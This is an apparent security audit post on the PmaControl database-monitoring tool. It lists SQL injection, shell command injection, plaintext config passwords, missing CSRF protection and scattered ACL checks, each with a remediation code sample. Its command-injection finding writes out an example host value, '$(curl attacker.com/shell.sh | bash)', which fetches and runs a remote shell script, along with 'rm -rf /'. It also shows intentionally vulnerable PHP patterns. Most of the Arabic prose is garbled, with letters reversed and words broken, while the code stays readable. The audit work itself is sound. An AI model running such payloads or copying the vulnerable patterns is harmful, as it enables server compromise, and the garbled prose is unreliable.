

قيرط ةطيرخ PmaControl: ينمأل قيقدتل زيزعتل

Aurélien LEQUOY · 10 سرام 2026

PMACONTROL SECURITY SQL-INJECTION AUDIT HARDENING



كب ةصاخلل ةيجمرلل تاميلعتل ةعجارمب موقت اذامل

يل لوصولو قح هيدل جاتنإلل ةيتحتل ةينب الل MariaDB / MySQL لىل فرشي PmaControl مجاهم لل يسير فده هنإل لاصلال دامتعا تانايبو SSH حيتافمو تانويكتل او سيسي اقم الل فعضلا طاقن ديدحتل نكلو ، يقويوسر ريرقت رشنل سيل ، أي لخاد أي نمأ أقي قدت اني رجأ دقل سفنل لع اضرلل نود جئاتنل ةلاقم الل هذلي صافت . احيحصتل ةيولولأل اعطاعو ةيقي قح الل

ةيجهنم الل

ةعجارم الل تطغ:

- اهجامنو PHP مكحت تادحول يودي لل ليحلتل : ةتباتل ةيجمرلل تاميلعتل ةعجارم
اهضرع قرطو
- API ةياهنل طاقنو جدامنل لىل نع قح الل تارابتخا : يكي ماني دل ليحلتل
- رارسأل او ، تافل مل ماظن تانوذأو ، نيويكتل تافل م : نيويكتل
- تانايبل قفدتو ، تانويك مل لزعو ، موجهل حطس : ةينب الل

يكي مانيدل مالع تسال انب ربع SQL نقح : 1 ةطحال مالا

ةرح : ةروطخال

ةرشابم مدختس مالا تاملعم طبر قيرط نع SQL تابلط ءاشن إب مكحتلال تادحو نم ديدغال موقت:

```
// Pattern trouvé dans plusieurs controllers
$sql = "SELECT * FROM servers WHERE name LIKE '%" . $_GET['search'] . "%'";
$results = $db->query($sql);
```

ليدعت وأ، تانايبال جارختسا مجاهم ل نكمي. SQL يكي سالكال نقحل ةضرع طمنلا اذه
LOAD_FILE() وأ INTO OUTFILE ربع ماظنلال رماوأ ذيفنت، تالاحال أوسأ يف وأ، تالاحلال

اهديحت متي تالاحلال

ي لامل بقارملا	ةياهنلا ةطقن	ةفيعضللا دادغال
مداخال مكحت ةدحو	ثحب/مداوخال/	ثحب
TagController	حشرم / تامالعال/	مسالا
لجسلا مكحت ةدحو	ضرع/تالاحس/	مداخال فرعم، date_range
رلورت نوكي رتم	مالع تسال/سي ياقملا/	metric_name

جالعال

(ةدعمال تانايبال) تاملعمللا تاذ تامالع تساللا يلى ليديتلاب مق:

```
// Avant (vulnérable)
$sql = "SELECT * FROM servers WHERE name LIKE '%" . $search . "%'";

// Après (sécurisé)
$sql = "SELECT * FROM servers WHERE name LIKE ?";
$results = $db->query($sql, ['%' . $search . '%']);
```

تمت دقف: ةيخيرات لب ةينقت تسي ل ةلكشمللا، ال صأ ةدعمال تانايبال Glial لمع راطل معددي
ةسرامملا هذهل يجهنملا دامتعاللا لبق دوكلا ةباتك.

ةي طاي تالاحلال مكحتلال ةدحو يف ةفدصللا نقح : 2 ةطحال مالا

شرح: شروط الخلل

shell_exec() : إلى عرض أخطاء مداخل الخلل في رموز أخطاء الخلل م كحالت الخلل وحو موقت

```
// Pattern trouvé dans BackupController
$output = shell_exec("mysqldump -h " . $host . " -u " . $user . " " . $database);
```

ذيفنت م تيسف ، \$(curl attacker.com/shell.sh | bash) أو rm -rf / ؛ إلى يوتحي \$host ناك إذا
PHP. ملة مازايات ماب رمال

ي طايحت الخلل خسن لل ج ذومن إلى لوصول قح هيدل يذلل مجاهم لل نكمي . قيقد لل قرغت رطخ أيه هذه
PmaControl مداخل ل ماك shell إلى لوصول

ج العمل

1. تاءانثت سراً نودب — مداخلت سمال تاداعإ عم shell_exec() ةفاك فذح
2. أيروف فذلل نكي مل إذا يلاقنتنا ءارجك escapeshellarg() مداخلت سراً
3. ةي لصل ال PHP تابتكم ب ةفدصل تاءاعدت سراً ل دبت سراً ، ةياهن ال ي في (PDO ل mysqldump ، phpseclib ل SSH)

```
// Mesure transitoire (pas suffisante seule)
$output = shell_exec("mysqldump -h " . escapeshellarg($host) . " ...");

// Solution définitive : pas de shell du tout
$pdo = new PDO("mysql:host=$host;dbname=$database", $user, $pass);
// ... backup via PDO et SELECT INTO OUTFILE ou équivalent
```

نيوكتل تافل م في رورمال تامل ك حسم 3: ةجيتنل

ةيلاع: شروط الخلل

في يداع صرن في فارشل ال ةعضاخ ال تاناي بل داوقب لاصلت ال دامتعا تاناي ب نيزخت م تي
PHP: نيوكتل تافل م

```
// config/database.php
$config['servers'] = [
    'prod-master' => [
        'host' => '10.0.1.10',
        'user' => 'pmacontrol',
        'password' => 'P@ssw0rd123!', // En clair
```

```
],  
];
```

لمتحملا نم .تافلماظن لىلإ ةءارق لىل لوصول قح هيدل مدختسم يأل ةحاتم تافلما هذه Git ـ نيمزتلم اونوكي نأ أضيأ

جالعلا

1. ةئيبلا ريغت نم قتشم حاتم مادختساب **ءطشنلا ريغ رارسأل ريغشت**
2. ةيباحسلا رشنلا تايلمعل (HashiCorp Vault, AWS Secrets Manager) **رارسل ريغ** مدختسا
3. تافلما نم ءالدب **ةئيبلا تاريغتم** يف رورملا تاملك نيزختب مق ،يندأ دحك

```
// Après remédiation  
$config['servers'] = [  
  'prod-master' => [  
    'host' => '10.0.1.10',  
    'user' => 'pmacontrol',  
    'password' => getenv('PMAC_PROD_MASTER_PASS'),  
  ],  
];
```

CSRF ةيامح بايغ :4 ةجيتنلا

ةيلاع :ءروطخلا

ءاشنإ مجاهم لىل نكمي .(ءقاوملا ربع بلط ريوزت) CSRF زمري لىل ء PmaControl جذامن يوتحت ال لىل ءل ليحستب ماق يذلا مدختسملا نع ةباين PmaControl جذومن لسرت ءراض بيو ءحفص

موجهلا ويرانيس:

1. بيوبت ءمالع يف PmaControl لوؤسملا لوخد ليحستم
2. رخأ بيوبت ءمالع يف ءراض بيو ءحفص ءرايزب موقى
3. لسري يئررم ريغ جذومن لىل ءحفصل يوتحت `POST /servers/delete/42`
4. مدخال فذح متي - PmaControl ءسلحلا طابترا فيرت فلم ءحفصتلم لسري

جالعلا

POST جذامن ءيغ لىل **CSRF** زومر ذي فنتب مق

```

// Génération du token
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));

// Dans le formulaire
<input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?>">

// Validation côté serveur
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    http_response_code(403);
    die('CSRF token mismatch');
}

```

قرفتم لوصول في مكحت ل: 5 ةجيت ل

ةطس وتم: ةروط ل

مكحت ةدحو لك موقت. ةيزكرم تسيل (لوصول في مكحت ل ةمئاق) ACL نم ققحت ل تاي لمع ن إ: قس تم ريغ لك شب، اهب ةصاخ ل تانوذأل نم ققحت ل تاي لمع ذي فن تب:

```

// Controller A : vérifie les permissions
if (!$user->hasPermission('server.delete')) {
    redirect('/unauthorized');
}

// Controller B : ne vérifie rien
public function deleteServer($id) {
    $this->ServerModel->delete($id); // Pas de vérification ACL
}

```

ج الع ل

ءارج إ ل في مكحت ةدحو لك لبق اءذي فن تم تي تي ل ةطي سول ج مارب ل في ACL مئاق ةزكرم:

```

// Middleware centralisé
class AclMiddleware {
    public function before($controller, $action) {
        $permission = $controller . '.' . $action;
        if (!$this->user->hasPermission($permission)) {
            throw new ForbiddenException();
        }
    }
}

```

```
}  
}  
}
```

جالعلا قيرط ةطيخ

(ةيروف) ةحرج — 1 ةيولوالا

لمعلا	ردقملا دهجلا	ةلاحلا
مكحتلا تادحو ةفاك يف تاملعم تاذ تامالع سرام	مايأ 3-5	مدقتلا ديق
مدختسملا تالخدإب shell_exec ةلازا	مايأ 1-2	مدقتلا ديق
اهلاكشأ عي مجب CSRF زومر	مايأ 2-3	ططخم
نيوكتلا يف رارسأل ريفشت	مايأ 1-2	ططخم

(أموي 30 لالخ) ةيلاع — 2 ةيولوالا

لمعلا	ردقملا دهجلا	ةلاحلا
ةلصفنم ةيلمع يف يطايحتالخال SSH/الامع لزع	مايأ 5-8	ططخم
تافللملما طن تانودأ قيقدت	دحاو موي	ططخم
ةقداصملاو API لعل لدعلملا ديدحت	مايأ 2-3	ططخم

(أموي 90 لالخ) ةطسوتم - 3 ةيولوالا

لمعلا	ردقملا دهجلا	ةلاحلا
ةطيسولاماربلا يف ACL مئاوق ةيزكرم	مايأ 3-5	ططخم
مكحتلا طامأن ديدحت	مايأ 5-8	ططخم
نامأل سؤر (CSP, HSTS, X-Frame-Options)	دحاو موي	ططخم
يزكرم ينمأ ليجست	مايأ 2-3	ططخم

قيقدتلا اذه هي طغي الام

- ءارجإل طي طختلا مت - (jQuery, Bootstrap) ثلاثل فرطلا تاي عبت في ةني مأل ا تاريخثلا لصفنم قي قدت
- ةيحتلا ةني ل ةيلوؤسم هذ - (TLS، ةيامل رادج) ةكبشلا فعض طاقن
- ينفل قاطنلا جراخ - يلايحتالا ديصتلاو ةيعامتجالا ةسندنهلا

ةصالخلا

ةني مأل ا غلاب آفده جاتنإلا دامتعا تاناي ب يلى لإوصولا هكيمي يتي ل ةبقارملا ةادأ دعت أنوي دلمحت، يوضع لكشب تمن يتي ل ردصملا ةحوتفم عي راشملا نم دي دعال لثم، PmaControl، ةيخي رات ةني مأل ا.

ةطراخو ةني مأل ا تاريخثلا قي ثوت لصفن نحن. دمعتم راخي يه بويعل هذ نأشب ةيفافشلا نإ نم آدوكلا نأب رهاطتلا نم آل دب أنل ع ةجال عملال قيرط.

حطس نم للقي PmaControl نم رادصإ لك. آي عقاو آل ودج P3 و P2 عبت ي. م دقتلا دي ق P1 تاحالصإ موجهلا.